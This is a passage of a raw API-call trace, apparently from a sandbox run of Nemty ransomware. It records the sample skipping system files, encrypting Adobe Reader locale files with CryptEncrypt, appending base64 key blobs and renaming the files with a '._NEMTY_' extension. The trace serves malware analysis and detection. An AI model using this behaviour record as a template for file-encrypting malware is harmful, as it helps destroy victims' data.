pszString="OwRyDgord+/thcPjY2b8frMMPbN2NIeZwiEhgFNYZWSrENFDHnafgOIBTdBGtiXA\r\nr6bTN56pmt4uVRwSX7VTM5JPfl4RvLYH5yzaBc8VdY4GmKT+oE3nr2QqZPhkNRF5\r\n9+v1VMLljBhCB71hWdwMQuPK/lKm7i6GfNFMfJ+29vR0TeZ5ZJJL8XlCrFveOSpf\r\nHGoZVakAADZVjwk01mS52AwryhSrtIjN+c65B+iWagX8O6ehltAIJbSEGirYgKxI\r\nP96kA2ly8zmWd6FfxGwb/yK20jl+vuV5Vl/MCicZCPk4m0STDOyHECEh52XflE3/\r\n33sqIoDw59/YXYd3FstXyg==\r\n", pcchString=0x653e5dc) returned 1 [0177.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.230] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\RdLang32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\rdlang32.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.231] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1437184) returned 1 [0177.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.231] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.231] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.240] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.240] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.241] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1437184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15ee00 [0177.241] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.242] CloseHandle (hObject=0x2e8) returned 1 [0177.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.242] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\RdLang32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\rdlang32.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\RdLang32.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\rdlang32.fra._nemty_kgobjgd_")) returned 1 [0177.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.243] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.FRA", cAlternateFileName="READOU~1.FRA")) returned 1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2=".") returned 1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="..") returned 1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="...") returned 1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="windows") returned -1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="rsa") returned -1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="NTDETECT.COM") returned 1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="ntldr") returned 1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="MSDOS.SYS") returned 1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="IO.SYS") returned 1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="boot.ini") returned 1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="boot.ini") returned 1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.243] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="ntuser.dat") returned 1 [0177.244] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="desktop.ini") returned 1 [0177.244] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="CONFIG.SYS") returned 1 [0177.244] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="RECYCLER") returned -1 [0177.244] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.244] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="bootmgr") returned 1 [0177.244] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="programdata") returned 1 [0177.244] lstrcmpiW (lpString1="ReadOutLoud.FRA", lpString2="appdata") returned 1 [0177.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.FRA", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0177.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.FRA", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.FRA", lpUsedDefaultChar=0x0) returned 15 [0177.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.FRA", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0177.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.FRA", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.FRA", lpUsedDefaultChar=0x0) returned 15 [0177.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.FRA", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0177.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.FRA", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.FRA", lpUsedDefaultChar=0x0) returned 15 [0177.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.FRA", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0177.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.FRA", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.FRA", lpUsedDefaultChar=0x0) returned 15 [0177.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.244] Sleep (dwMilliseconds=0x5) [0177.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d4b0b70, dwHighDateTime=0x1d561e8)) [0177.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d4b0b70, dwHighDateTime=0x1d561e8)) [0177.245] GetLastError () returned 0x0 [0177.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.245] GetLastError () returned 0x0 [0177.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.245] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.245] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.245] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.245] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="vofNx+nqQkH5H2xeKbiu7HYyhMrQXFetwG4IdNYSA/I56f9CqKgqF38cbnPYaWA+\r\nT/uD4XA2+aRleGC5T1RYzqiE7r/i/sM9hZ2O0QpmbetdN25FpDDarrnZO2omt4LK\r\njHMmRv/CRQ/eGrfjrnOTQhrVzjOMfXoSRza8dgMStLTPIkRuBM8LyZAwAU6fFNI/\r\nPnJMAQXQe8yOpze9QZDzFG8lszBpsW9+KqikRhTFWWURdaI7NPBfKHM25oV77xU2\r\nm1ahf/Kr2YSqEv3Oqp6Y24FoiewqqwMB4hsrqkIWHAlCd2Z4PUuow1UNOZC+wCke\r\nEk12IAzBaXILxYgrWD4OyQ==\r\n", pcchString=0x653e5dc) returned 1 [0177.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\ReadOutLoud.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\readoutloud.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.246] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0177.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0177.246] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.246] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0177.249] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.249] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0177.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.249] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0177.249] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.249] CloseHandle (hObject=0x2e8) returned 1 [0177.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.249] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\ReadOutLoud.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\readoutloud.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\ReadOutLoud.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\readoutloud.fra._nemty_kgobjgd_")) returned 1 [0177.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.250] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.FRA", cAlternateFileName="")) returned 1 [0177.250] lstrcmpiW (lpString1="reflow.FRA", lpString2=".") returned 1 [0177.250] lstrcmpiW (lpString1="reflow.FRA", lpString2="..") returned 1 [0177.250] lstrcmpiW (lpString1="reflow.FRA", lpString2="...") returned 1 [0177.250] lstrcmpiW (lpString1="reflow.FRA", lpString2="windows") returned -1 [0177.250] lstrcmpiW (lpString1="reflow.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.250] lstrcmpiW (lpString1="reflow.FRA", lpString2="rsa") returned -1 [0177.250] lstrcmpiW (lpString1="reflow.FRA", lpString2="NTDETECT.COM") returned 1 [0177.250] lstrcmpiW (lpString1="reflow.FRA", lpString2="ntldr") returned 1 [0177.250] lstrcmpiW (lpString1="reflow.FRA", lpString2="MSDOS.SYS") returned 1 [0177.250] lstrcmpiW (lpString1="reflow.FRA", lpString2="IO.SYS") returned 1 [0177.250] lstrcmpiW (lpString1="reflow.FRA", lpString2="boot.ini") returned 1 [0177.250] lstrcmpiW (lpString1="reflow.FRA", lpString2="boot.ini") returned 1 [0177.251] lstrcmpiW (lpString1="reflow.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.251] lstrcmpiW (lpString1="reflow.FRA", lpString2="ntuser.dat") returned 1 [0177.251] lstrcmpiW (lpString1="reflow.FRA", lpString2="desktop.ini") returned 1 [0177.251] lstrcmpiW (lpString1="reflow.FRA", lpString2="CONFIG.SYS") returned 1 [0177.251] lstrcmpiW (lpString1="reflow.FRA", lpString2="RECYCLER") returned 1 [0177.251] lstrcmpiW (lpString1="reflow.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.251] lstrcmpiW (lpString1="reflow.FRA", lpString2="bootmgr") returned 1 [0177.251] lstrcmpiW (lpString1="reflow.FRA", lpString2="programdata") returned 1 [0177.251] lstrcmpiW (lpString1="reflow.FRA", lpString2="appdata") returned 1 [0177.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.FRA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.FRA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.FRA", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0177.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.FRA", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.251] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.251] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.251] Sleep (dwMilliseconds=0x5) [0177.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d4d6cd0, dwHighDateTime=0x1d561e8)) [0177.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d4d6cd0, dwHighDateTime=0x1d561e8)) [0177.261] GetLastError () returned 0x0 [0177.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.261] GetLastError () returned 0x0 [0177.261] RtlAllocateHeap 